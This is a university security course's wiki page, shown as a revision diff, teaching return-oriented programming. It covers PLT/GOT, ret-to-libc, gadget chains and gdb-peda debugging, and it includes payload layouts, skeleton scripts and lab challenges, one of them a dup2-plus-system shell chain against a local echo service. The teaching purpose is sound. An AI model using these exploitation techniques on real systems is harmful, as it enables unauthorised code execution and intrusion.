session:09
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
session:09 [2020/07/08 08:03] – removed Liza-Elena BABU (78556) | session:09 [2020/07/19 09:49] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | ====== 0x08. Return Oriented Programming ====== | ||
+ | ===== Resources ===== | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | |||
+ | === PLT and GOT === | ||
+ | |||
+ | ASLR is not the only feature that prevents the compiler and the linker from solving some relocations before the binary is actually running. Shared libraries can also be combined in different ways, so the first time you actually know the address of a shared library is while the loader is running. The ASLR feature is orthogonal to this - the loader could choose to assign address to libraries in a round-robin fashion, or could use ASLR to assign them randomly. | ||
+ | |||
+ | Of course, we might be inclined to have the loader simply fix all relocations in the code section after it loaded the libraries, but this breaks the memory access protection of the '' | ||
+ | |||
+ | To solve this problems we need another level of indirection: | ||
+ | |||
+ | The PLT is responsible of finding the shared library function address when it is first called (**lazy binding**), and writing it to a GOT entry. Note that the function pointers are stored in '' | ||
+ | |||
+ | Let's take a quick look at the code generated for a shared library call. You can use any binary you like, we'll just show an example from one that simply calls '' | ||
+ | |||
+ | <code bash> | ||
+ | ~$ objdump -D -j .text -M intel hello | grep puts | ||
+ | </ | ||
+ | <code text> | ||
+ | | ||
+ | </ | ||
+ | |||
+ | We can see that the '' | ||
+ | |||
+ | <code bash> | ||
+ | ~$ readelf --sections hello | ||
+ | </ | ||
+ | |||
+ | <code text> | ||
+ | ... | ||
+ | [12] .plt PROGBITS | ||
+ | ... | ||
+ | </ | ||
+ | |||
+ | Let's see how the code there looks like: | ||
+ | |||
+ | <code bash> | ||
+ | ~$ objdump -D -j .plt -M intel hello | grep -A 3 '< | ||
+ | </ | ||
+ | |||
+ | <code text> | ||
+ | 080482f0 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | We see it jumping to a pointer stored at '' | ||
+ | |||
+ | <code bash> | ||
+ | ~$ readelf --relocs hello | ||
+ | </ | ||
+ | |||
+ | <code text> | ||
+ | ... | ||
+ | Relocation section ' | ||
+ | | ||
+ | 0804a000 | ||
+ | ... | ||
+ | </ | ||
+ | |||
+ | Ok, good, but what is actually stored at this address initially? | ||
+ | |||
+ | <code bash> | ||
+ | ~$ objdump -s -M intel -j .got.plt --start-address=0x0804a000 hello | ||
+ | </ | ||
+ | |||
+ | <code text> | ||
+ | hello: | ||
+ | |||
+ | Contents of section .got.plt: | ||
+ | | ||
+ | </ | ||
+ | |||
+ | We recognize '' | ||
+ | |||
+ | <code bash> | ||
+ | ~$ objdump -D -j .plt -M intel hello | grep -A 3 ' | ||
+ | </ | ||
+ | |||
+ | <code text> | ||
+ | 080482e0 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | < | ||
+ | Going further into the resolver is left as an exercise. You can use GDB to inspect the address in '' | ||
+ | </ | ||
+ | |||
+ | What's going on here? What's actually happening is //lazy binding// — by convention when the dynamic linker loads a library, it will put an identifier and resolution function into known places in the GOT. Therefore, what happens is roughly this: on the first call of a function, it falls through to call the default stub, it simply jumps to the next instruction. The identifier is pushed on the stack, the dynamic linker is called, which at that point has enough information to figure out "hey, this program is trying to find the function foo". It will go ahead and find it, and then patch the address into the GOT such that the next time the original PLT entry is called, it will load the actual address of the function, rather than the lookup stub. Ingenious! | ||
+ | |||
+ | |||
+ | ==== Return Oriented Programming ==== | ||
+ | |||
+ | {{ : | ||
+ | |||
+ | === Motivation === | ||
+ | In the previous sessions we discussed '' | ||
+ | < | ||
+ | RET + 0x00: addr of system | ||
+ | RET + 0x04: JUNK | ||
+ | RET + 0x08: | ||
+ | </ | ||
+ | |||
+ | However, what happens when you need to call multiple functions? Say you need to call f1() and then f2(0xAB, 0xCD)? The payload should be: | ||
+ | < | ||
+ | RET + 0x00: addr of f1 | ||
+ | RET + 0x04: addr of f2 (return address after f1 finishes) | ||
+ | RET + 0x08: JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called) | ||
+ | RET + 0x0c: 0xAB (param1 of f2) | ||
+ | RET + 0x10: 0xCD (param2 of f2) | ||
+ | </ | ||
+ | What about if we need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42) ? | ||
+ | < | ||
+ | RET + 0x00: addr of f1 | ||
+ | RET + 0x04: addr of f2 (return address after f1 finishes) | ||
+ | RET + 0x08: 0xAB (param1 of f1) | ||
+ | RET + 0x0c: 0xCD (param2 of f1) but this should also be 0xEF (param1 of f2) | ||
+ | RET + 0x10: 0x42 (param2 of f2) | ||
+ | </ | ||
+ | |||
+ | This kind of conflict can be resolved using Return Oriented Programming, | ||
+ | |||
+ | === NOP analogy === | ||
+ | While '' | ||
+ | Let's explore an example: | ||
+ | <code c> | ||
+ | int main() | ||
+ | { | ||
+ | char a[16]; | ||
+ | read(0, a, 100); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | This code obviously suffers from a stack buffer overflow. The offset to the return address is 28. So dwords from offset 28 onwards will be popped from the stack and executed. | ||
+ | Remember the NOP sled concept from previous sessions? These were long chains of NOP instructions (" | ||
+ | Since we can't add any new code to the program (NX is enabled) how could we simulate the effect of a NOP sled? Easy! Using return instructions! | ||
+ | < | ||
+ | # objdump | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | Any and all of these addresses will be ok. The payload could be the following: | ||
+ | < | ||
+ | RET + 0x00: | ||
+ | RET + 0x04: | ||
+ | RET + 0x08: | ||
+ | RET + 0x0c: | ||
+ | RET + 0x10: | ||
+ | ..... | ||
+ | </ | ||
+ | The original ret (in the normal code flow) will pop RET+0x00 off the stack and jump to it. When it gets popped the stack is automatically increased by 4 (on to the next value). The instruction at '' | ||
+ | |||
+ | That payload is not the only option. We don't really care which '' | ||
+ | < | ||
+ | RET + 0x00: | ||
+ | RET + 0x04: | ||
+ | RET + 0x08: | ||
+ | RET + 0x0c: | ||
+ | RET + 0x10: | ||
+ | ..... | ||
+ | </ | ||
+ | Notice the addresses are different but because they all point to a '' | ||
+ | |||
+ | <note warning> | ||
+ | Take a moment to fully understand what is happening here. Run your own program and step through the payload to see this in action before proceeding. | ||
+ | Follow along using this skeleton to generate the payloads. | ||
+ | </ | ||
+ | <file python skel.py> | ||
+ | # | ||
+ | import struct, sys | ||
+ | |||
+ | def dw(i): | ||
+ | return struct.pack("< | ||
+ | |||
+ | #TODO update count for your prog | ||
+ | pad_count_to_ret = 100 | ||
+ | payload = " | ||
+ | |||
+ | #TODO figure out the rop chain | ||
+ | payload += dw(0xcafebeef) | ||
+ | payload += dw(0xdeadc0de) | ||
+ | |||
+ | |||
+ | sys.stdout.write(payload) | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | === Gadgets & ROP chains === | ||
+ | Now that we have a sort of neutral primitive equivalent to a NOP let's actually do something useful. | ||
+ | The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a ' | ||
+ | Here are some ' | ||
+ | < | ||
+ | 0x8048443: pop ebp; ret | ||
+ | 0x80484a7: pop edi; pop ebp; ret | ||
+ | 0x8048441: mov ebp,esp; pop ebp; ret | ||
+ | 0x80482da: pop eax; pop ebx; leave; ret | ||
+ | 0x80484c3: pop ecx; pop ebx; leave; ret | ||
+ | </ | ||
+ | |||
+ | By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. | ||
+ | As an example let's say we would like to load 0x41424344 into eax and 0x61626364 into ebx. The payload should look like: | ||
+ | < | ||
+ | RET + 0x00: | ||
+ | RET + 0x04: | ||
+ | RET + 0x08: | ||
+ | RET + 0x0c: | ||
+ | </ | ||
+ | * First the ret addr is popped from the stack and execution goes there. | ||
+ | * At '' | ||
+ | * At '' | ||
+ | * At '' | ||
+ | * At '' | ||
+ | |||
+ | We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers. | ||
+ | As an example, if we want to call f1(0xAB, 0xCD, 0xEF) on x86_64 we first need to know the calling convention for the first three parameters: | ||
+ | * 1st param: RDI | ||
+ | * 2nd param: RSI | ||
+ | * 3rd param: RDX | ||
+ | Next we would need gadgets for each. Let's assume these 2 scenarios: | ||
+ | Scenario 1: | ||
+ | < | ||
+ | 0x400124: | ||
+ | 0x400235: | ||
+ | 0x400440: | ||
+ | |||
+ | Payload: | ||
+ | RET + 0x00: | ||
+ | RET + 0x08: val of RDI (0xAB) | ||
+ | RET + 0x10: val of RSI (0xCD) | ||
+ | RET + 0x18: | ||
+ | RET + 0x20: val of RDX | ||
+ | RET + 0x28: f1 | ||
+ | </ | ||
+ | |||
+ | Scenario 2: | ||
+ | < | ||
+ | 0x400125: | ||
+ | 0x400252: | ||
+ | 0x400235: | ||
+ | 0x400440: | ||
+ | |||
+ | Payload: | ||
+ | RET + 0x00: | ||
+ | RET + 0x08: val of RDI (0xAB) | ||
+ | RET + 0x10: | ||
+ | RET + 0x18: val of RSI (0xCD) | ||
+ | RET + 0x20: | ||
+ | RET + 0x28: val of RDX | ||
+ | RET + 0x30: f1 | ||
+ | </ | ||
+ | Notice that because the architecture is 64 bits wide, the values on the stack are not dwords but qwords (quad words: 8 bytes wide) | ||
+ | |||
+ | |||
+ | The second use of gadgets is to clear the stack. Remember the issue we had in the **Motivation** section? Let's solve it using gadgets. | ||
+ | We need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42). Our initial solution was: | ||
+ | < | ||
+ | RET + 0x00: addr of f1 | ||
+ | RET + 0x04: addr of f2 (return address after f1 finishes) | ||
+ | RET + 0x08: 0xAB (param1 of f1) | ||
+ | RET + 0x0c: 0xCD (param2 of f1) but this should also be 0xEF (param1 of f2) | ||
+ | RET + 0x10: 0x42 (param2 of f2) | ||
+ | </ | ||
+ | |||
+ | The problem is that those parameters of f1 are getting in the way of calling f2. We need to find a **pop pop ret** gadget. The actual registers are not important. | ||
+ | |||
+ | < | ||
+ | RET + 0x00: addr of f1 | ||
+ | RET + 0x04: addr of (pop eax, pop ebx, ret) | ||
+ | RET + 0x08: 0xAB (param1 of f1) | ||
+ | RET + 0x0c: 0xCD (param2 of f1) | ||
+ | RET + 0x10: addr of f2 | ||
+ | RET + 0x14: JUNK | ||
+ | RET + 0x18: 0xEF (param1 of f2) | ||
+ | RET + 0x1c: 0x42 (param2 of f2) | ||
+ | </ | ||
+ | Now we can even call the next function f3 if we repeat the trick: | ||
+ | < | ||
+ | RET + 0x00: addr of f1 | ||
+ | RET + 0x04: addr of (pop eax, pop ebx, ret) | ||
+ | RET + 0x08: 0xAB (param1 of f1) | ||
+ | RET + 0x0c: 0xCD (param2 of f1) | ||
+ | RET + 0x10: addr of f2 | ||
+ | RET + 0x14: addr of (pop eax, pop ebx, ret) | ||
+ | RET + 0x18: 0xEF (param1 of f2) | ||
+ | RET + 0x1c: 0x42 (param2 of f2) | ||
+ | RET + 0x20: addr of f3 | ||
+ | </ | ||
+ | |||
+ | |||
+ | ==== Some useful ninja tricks ==== | ||
+ | |||
+ | === Memory spraying === | ||
+ | Let's take the following prog: | ||
+ | <code c> | ||
+ | int main() | ||
+ | { | ||
+ | int x, y ,z; | ||
+ | char a,b,c; | ||
+ | char buf[23]; | ||
+ | read(0, buf, 100); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | A fairly simple overflow, right? How fast can you figure out the offset to the return address? How much padding do you need ? | ||
+ | There is a shortcut that you can use to figure this out in under 30 seconds without looking at the assembly. | ||
+ | |||
+ | A [[ https:// | ||
+ | |||
+ | Peda can help you do this. Here's how: | ||
+ | <code bash> | ||
+ | gdb-peda$ help pattern_create | ||
+ | Generate a cyclic pattern | ||
+ | Usage: | ||
+ | pattern_create size [file] | ||
+ | |||
+ | gdb-peda$ pattern_create 100 | ||
+ | ' | ||
+ | |||
+ | gdb-peda$ help pattern_offset | ||
+ | Search for offset of a value in cyclic pattern | ||
+ | Usage: | ||
+ | pattern_offset value | ||
+ | |||
+ | gdb-peda$ pattern_offset AA8A | ||
+ | AA8A found at offset: 76 | ||
+ | </ | ||
+ | |||
+ | Things can even get more complex: if you insert such patterns as input to the program you can search for signs of where it got placed using peda. Here's how to figure out the offset to the return address in 3 commands for the previous program as promised: | ||
+ | <code bash> | ||
+ | # gdb -q ./a | ||
+ | Reading symbols from ./a...(no debugging symbols found)...done. | ||
+ | gdb-peda$ pattern_create 200 | ||
+ | ' | ||
+ | gdb-peda$ run | ||
+ | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x0 | ||
+ | EBX: 0xf7f97e54 --> 0x1a6d5c | ||
+ | ECX: 0xffffcd49 (" | ||
+ | EDX: 0x64 (' | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0x41334141 (' | ||
+ | ESP: 0xffffcd70 (" | ||
+ | EIP: 0x41414541 (' | ||
+ | EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0x41414541 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffcd70 (" | ||
+ | 0004| 0xffffcd74 (" | ||
+ | 0008| 0xffffcd78 (" | ||
+ | 0012| 0xffffcd7c (" | ||
+ | 0016| 0xffffcd80 (" | ||
+ | 0020| 0xffffcd84 (" | ||
+ | 0024| 0xffffcd88 (" | ||
+ | 0028| 0xffffcd8c (" | ||
+ | 0032| 0xffffcd90 (" | ||
+ | 0036| 0xffffcd94 (" | ||
+ | 0040| 0xffffcd98 (" | ||
+ | 0044| 0xffffcd9c (" | ||
+ | 0048| 0xffffcda0 (" | ||
+ | 0052| 0xffffcda4 (" | ||
+ | 0056| 0xffffcda8 (" | ||
+ | 0060| 0xffffcdac --> 0x6c (' | ||
+ | |||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | Stopped reason: SIGSEGV | ||
+ | 0x41414541 in ?? () | ||
+ | |||
+ | |||
+ | |||
+ | gdb-peda$ pattern_search | ||
+ | Registers contain pattern buffer: | ||
+ | EIP+0 found at offset: 35 | ||
+ | EBP+0 found at offset: 31 | ||
+ | Registers point to pattern buffer: | ||
+ | [ECX] --> offset 0 - size ~100 | ||
+ | [ESP] --> offset 39 - size ~61 | ||
+ | Pattern buffer found at: | ||
+ | 0xffffcd49 : offset | ||
+ | 0xffffd1c6 : offset 23424 - size 4 ($sp + 0x456 [277 dwords]) | ||
+ | 0xffffd1d8 : offset 22930 - size 4 ($sp + 0x468 [282 dwords]) | ||
+ | 0xffffd276 : offset 48535 - size 4 ($sp + 0x506 [321 dwords]) | ||
+ | References to pattern buffer found at: | ||
+ | 0xffffcd20 : 0xffffcd49 ($sp + -0x50 [-20 dwords]) | ||
+ | 0xffffcd34 : 0xffffcd49 ($sp + -0x3c [-15 dwords]) | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | === Vulnerable function identification === | ||
+ | As you can see from above, the base pointer gets trashed so backtracing is not possible | ||
+ | <code bash> | ||
+ | gdb-peda$ bt | ||
+ | #0 0x41414541 in ?? () | ||
+ | #1 0x34414165 in ?? () | ||
+ | #2 0x41464141 in ?? () | ||
+ | #3 0x41416641 in ?? () | ||
+ | </ | ||
+ | If this program was larger you wouldn' | ||
+ | You can set a breakpoint on all declared functions (if the program has not been stripped) using **rbreak** and then ignoring them: | ||
+ | <code bash> | ||
+ | gdb-peda$ rbreak | ||
+ | Breakpoint 1 at 0x80482d4 | ||
+ | < | ||
+ | Breakpoint 2 at 0x8048310 | ||
+ | < | ||
+ | Breakpoint 3 at 0x8048320 | ||
+ | < | ||
+ | Breakpoint 4 at 0x8048330 | ||
+ | < | ||
+ | Breakpoint 5 at 0x8048340 | ||
+ | < | ||
+ | Breakpoint 6 at 0x8048370 | ||
+ | < | ||
+ | Breakpoint 7 at 0x804843f | ||
+ | < | ||
+ | Breakpoint 8 at 0x8048470 | ||
+ | < | ||
+ | Breakpoint 9 at 0x80484e0 | ||
+ | < | ||
+ | Breakpoint 10 at 0x80484e4 | ||
+ | < | ||
+ | |||
+ | |||
+ | gdb-peda$ commands | ||
+ | Type commands for breakpoint(s) 1-10, one per line. | ||
+ | End with a line saying just " | ||
+ | > | ||
+ | >end | ||
+ | |||
+ | |||
+ | gdb-peda$ run | ||
+ | Starting program: / | ||
+ | warning: the debug information found in "/ | ||
+ | |||
+ | warning: Could not load shared library symbols for linux-gate.so.1. | ||
+ | Do you need "set solib-search-path" | ||
+ | |||
+ | Breakpoint 4, 0x08048330 in __libc_start_main@plt () | ||
+ | |||
+ | Breakpoint 8, 0x08048470 in __libc_csu_init () | ||
+ | |||
+ | Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx () | ||
+ | |||
+ | Breakpoint 1, 0x080482d4 in _init () | ||
+ | |||
+ | Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx () | ||
+ | |||
+ | Breakpoint 7, 0x0804843f in main () | ||
+ | |||
+ | Breakpoint 2, 0x08048310 in read@plt () | ||
+ | |||
+ | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7 | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | 0x41414541 in ?? () | ||
+ | </ | ||
+ | |||
+ | |||
+ | === ROP payload debugging === | ||
+ | When you know what the offending function is, disassemble it and break on " | ||
+ | <code bash> | ||
+ | gdb-peda$ pdis main | ||
+ | Dump of assembler code for function main: | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | End of assembler dump. | ||
+ | gdb-peda$ b *0x08048467 | ||
+ | Breakpoint 1 at 0x8048467 | ||
+ | |||
+ | |||
+ | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x0 | ||
+ | EBX: 0xf7f97e54 --> 0x1a6d5c | ||
+ | ECX: 0xffffcd49 (" | ||
+ | EDX: 0x64 (' | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0x41334141 (' | ||
+ | ESP: 0xffffcd6c (" | ||
+ | EIP: 0x8048467 (< | ||
+ | EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x8048467 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffcd6c --> 0xf7e333e0 (< | ||
+ | 0004| 0xffffcd70 --> 0x80484cf (< | ||
+ | 0008| 0xffffcd74 --> 0xf7f56be6 ("/ | ||
+ | 0012| 0xffffcd78 --> 0xf7e25c00 (< | ||
+ | |||
+ | |||
+ | gdb-peda$ patto AEAAeAA4AAFAAfA | ||
+ | AEAAeAA4AAFAAfA found at offset: 35 | ||
+ | </ | ||
+ | |||
+ | Then you can break on all called functions or step as needed to see if the payload is doing what you want it to. | ||
+ | |||
+ | |||
+ | === checksec in peda === | ||
+ | <code bash> | ||
+ | gdb-peda$ checksec | ||
+ | CANARY | ||
+ | FORTIFY | ||
+ | NX : ENABLED | ||
+ | PIE : disabled | ||
+ | RELRO : Partial | ||
+ | </ | ||
+ | |||
+ | |||
+ | === gadget finding in peda === | ||
+ | Apart from **objdump** which only finds aligned instructions, | ||
+ | <code bash> | ||
+ | gdb-peda$ start | ||
+ | .... | ||
+ | gdb-peda$ dumprop | ||
+ | Warning: this can be very slow, do not run for large memory range | ||
+ | Writing ROP gadgets to file: a-rop.txt ... | ||
+ | 0x8048467: ret | ||
+ | 0x804835d: iret | ||
+ | 0x804838f: repz ret | ||
+ | 0x80483be: ret 0xeac1 | ||
+ | 0x80483a9: leave; ret | ||
+ | 0x80485b4: inc ecx; ret | ||
+ | 0x80484cf: pop ebp; ret | ||
+ | 0x80482f5: pop ebx; ret | ||
+ | 0x80484df: nop; repz ret | ||
+ | 0x80483a8: ror cl,1; ret | ||
+ | 0x804838e: add dh,bl; ret | ||
+ | 0x80483e5: ror cl,cl; ret | ||
+ | 0x8048465: add cl,cl; ret | ||
+ | 0x804840b: leave; repz ret | ||
+ | 0x8048371: sbb al,0x24; ret | ||
+ | 0x80485b3: adc al,0x41; ret | ||
+ | 0x8048370: mov ebx,[esp]; ret | ||
+ | 0x80484de: nop; nop; repz ret | ||
+ | 0x80483a7: call eax; leave; ret | ||
+ | 0x80483e4: call edx; leave; ret | ||
+ | 0x804840a: add ecx,ecx; repz ret | ||
+ | 0x80484ce: pop edi; pop ebp; ret | ||
+ | </ | ||
+ | |||
+ | Something finer is: | ||
+ | <code bash> | ||
+ | gdb-peda$ asmsearch "pop ? ; ret" | ||
+ | 0x080482f5 : (5bc3) pop | ||
+ | 0x080484cf : (5dc3) pop | ||
+ | 0x080484f6 : (5bc3) pop | ||
+ | |||
+ | gdb-peda$ asmsearch "pop ? ; pop ? ; ret" | ||
+ | 0x080484ce : (5f5dc3) pop | ||
+ | |||
+ | gdb-peda$ asmsearch "call ?" | ||
+ | 0x080483a7 : (ffd0) call | ||
+ | 0x080483e4 : (ffd2) call | ||
+ | 0x0804842f : (ffd0) call | ||
+ | |||
+ | </ | ||
+ | |||
+ | === Anti-anti-debugging and others === | ||
+ | There can be various annoyances in binaries: **ptrace** calls for anti-debugging, | ||
+ | These can all be deactivated using **unptrace** (for ptrace) and **deactive** in peda. | ||
+ | |||
+ | |||
+ | ===== Challenges ===== | ||
+ | |||
+ | ==== 00. Tutorial - Bypass NX Stack with return-to-libc ==== | ||
+ | |||
+ | Go to the '' | ||
+ | |||
+ | In the previous sessions we used stack overflow vulnerabilities to inject new code into a running process (on its stack) and redirect execution to it. This attack is easily defeated by making the stack, together with any other memory page that can be modified, non-executable. This is achieved by setting the NX bit in the page table. | ||
+ | |||
+ | We will try to bypass this protection for the '' | ||
+ | |||
+ | < | ||
+ | setarch $(uname -m) -R /bin/bash | ||
+ | </ | ||
+ | |||
+ | Let's take a look at the program headers and confirm that the stack is no longer executable. We only have read and write (RW) permissions for the stack area. | ||
+ | |||
+ | <note important> | ||
+ | The auth binary requires the '' | ||
+ | |||
+ | You can find '' | ||
+ | </ | ||
+ | |||
+ | <code bash> | ||
+ | $ checksec 1-random | ||
+ | [...] | ||
+ | NX: NX enabled | ||
+ | [...] | ||
+ | </ | ||
+ | For completeness, | ||
+ | < | ||
+ | $ python -c 'print " | ||
+ | [0x80484f1] __libc_start_main(0x80486af, | ||
+ | [0x8048601] malloc(20) | ||
+ | [0x80485df] puts(" | ||
+ | ) = 17 | ||
+ | [0x80485ea] gets(c, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7) | ||
+ | [0x8048652] memset(0x0804b008, | ||
+ | [0x8048671] SHA1(0xbfffee63, | ||
+ | [0x41414141] --- SIGSEGV (Segmentation fault) --- | ||
+ | [0xffffffff] +++ killed by SIGSEGV +++ | ||
+ | </ | ||
+ | |||
+ | Check the source file - the buffer length is '' | ||
+ | |||
+ | We can now jump anywhere. Unfortunately, | ||
+ | < | ||
+ | $ python -c 'print " | ||
+ | [0x80484f1] __libc_start_main(0x80486af, | ||
+ | [0x8048601] malloc(20) | ||
+ | [0x80485df] puts(" | ||
+ | ) = 17 | ||
+ | [0x80485ea] gets(0xbfffee63, | ||
+ | [0x8048652] memset(0x0804b008, | ||
+ | [0x8048671] SHA1(0xbfffee63, | ||
+ | [0xbfffee63] --- SIGSEGV (Segmentation fault) --- | ||
+ | [0xffffffff] +++ killed by SIGSEGV +++ | ||
+ | </ | ||
+ | Oh, such a bummer! It didn't work. How about we try to jump to some existing code? | ||
+ | < | ||
+ | $ objdump -d auth | grep -A 15 "< | ||
+ | 080485ec < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | Lets try '' | ||
+ | < | ||
+ | $ python -c 'print " | ||
+ | [0x80485df] puts(" | ||
+ | ) = 17 | ||
+ | [0x804861b] puts(" | ||
+ | ) = 14 | ||
+ | [0xffffffff] +++ exited (status 1) +++ | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | ==== 01. Challenge - ret-to-libc ==== | ||
+ | |||
+ | Looks good! Let's get serious and do something useful with this. | ||
+ | |||
+ | Continue working in the '' | ||
+ | |||
+ | The final goal of this task is to bypass the NX stack protection and call '' | ||
+ | |||
+ | - Display all '' | ||
+ | - Return to '' | ||
+ | - Find the offset of the '' | ||
+ | - Make the binary print ''" | ||
+ | - **(bonus)** The process should '' | ||
+ | - Remember how we had ASLR disabled? The other '' | ||
+ | - Where is '' | ||
+ | <note important> | ||
+ | //Hint//: Use '' | ||
+ | </ | ||
+ | |||
+ | <note important> | ||
+ | //Hint//: When you will finally attack this, '' | ||
+ | </ | ||
+ | |||
+ | ==== 02. Challenge - no-ret-control ==== | ||
+ | |||
+ | Go to the '' | ||
+ | |||
+ | Imagine this scenario: we have an executable where we can change at least 4B of random memory, but ASLR is turned on. We cannot reliably change the value of the return address because of this. Sometimes ret is not even called at the end of a function. | ||
+ | |||
+ | Alter the execution of '' | ||
+ | |||
+ | ==== 03. Challenge - ret-to-plt ==== | ||
+ | |||
+ | Go to the '' | ||
+ | |||
+ | '' | ||
+ | |||
+ | Your task is to build an exploit that makes the application always print the **same second random number**. That is the first printed random number is whatever, but the second printed random number will always be the same, for all runs. In the sample output below the second printed random number is always '' | ||
+ | |||
+ | <code text> | ||
+ | hari@solyaris-home: | ||
+ | Hi! Options: | ||
+ | 1. Get random number | ||
+ | 2. Go outside | ||
+ | Here's a random number: 2070249950. Have fun with it! | ||
+ | Hi! Options: | ||
+ | 1. Get random number | ||
+ | 2. Go outside | ||
+ | Here's a random number: 1023098942. Have fun with it! | ||
+ | Segmentation fault (core dumped) | ||
+ | hari@solyaris-home: | ||
+ | Hi! Options: | ||
+ | 1. Get random number | ||
+ | 2. Go outside | ||
+ | Here's a random number: 1152946153. Have fun with it! | ||
+ | Hi! Options: | ||
+ | 1. Get random number | ||
+ | 2. Go outside | ||
+ | Here's a random number: 1023098942. Have fun with it! | ||
+ | |||
+ | </ | ||
+ | | ||
+ | You can use this Python skeleton for buffer overflow input: | ||
+ | |||
+ | <file python skel.py> | ||
+ | # | ||
+ | import struct, sys | ||
+ | |||
+ | def dw(i): | ||
+ | return struct.pack("< | ||
+ | |||
+ | #TODO update count for your prog | ||
+ | pad_count_to_ret = 100 | ||
+ | payload = " | ||
+ | |||
+ | #TODO figure out where to return | ||
+ | ret_addr = 0xdeadbeef | ||
+ | payload += dw(ret_addr) | ||
+ | |||
+ | |||
+ | #TODO add stuff after the payload if you need to | ||
+ | payload += "" | ||
+ | |||
+ | sys.stdout.write(payload) | ||
+ | </ | ||
+ | |||
+ | **Bonus**: The process should SEGFAULT after printing the second (constant) number. Make it exit cleanly (the exit code does not matter, just no SIGSEGV). | ||
+ | |||
+ | |||
+ | ==== 04. Challenge - Gadget tutorial ==== | ||
+ | |||
+ | This task requires you to construct a payload using gadgets and calling the functions inside such that it will print | ||
+ | < | ||
+ | Hello! | ||
+ | stage A!stage B! | ||
+ | </ | ||
+ | Make it also print the messages in reverse order: | ||
+ | < | ||
+ | Hello! | ||
+ | stage B!stage A! | ||
+ | </ | ||
+ | ==== Bonus Challenge - Echo service ==== | ||
+ | This task is a network service that can be exploited. Run it locally and try to exploit it. You'll find that if you call system("/ | ||
+ | |||
+ | So you will need to do the equivalent of the following in a ROP chain: | ||
+ | <code c> | ||
+ | dup2(sockfd, | ||
+ | dup2(sockfd, | ||
+ | system("/ | ||
+ | </ | ||
+ | |||
+ | |||
+ | Exploit it first with ASLR disabled and then enabled. |
session/09.1594195408.txt.gz · Last modified: by Liza-Elena BABU (78556)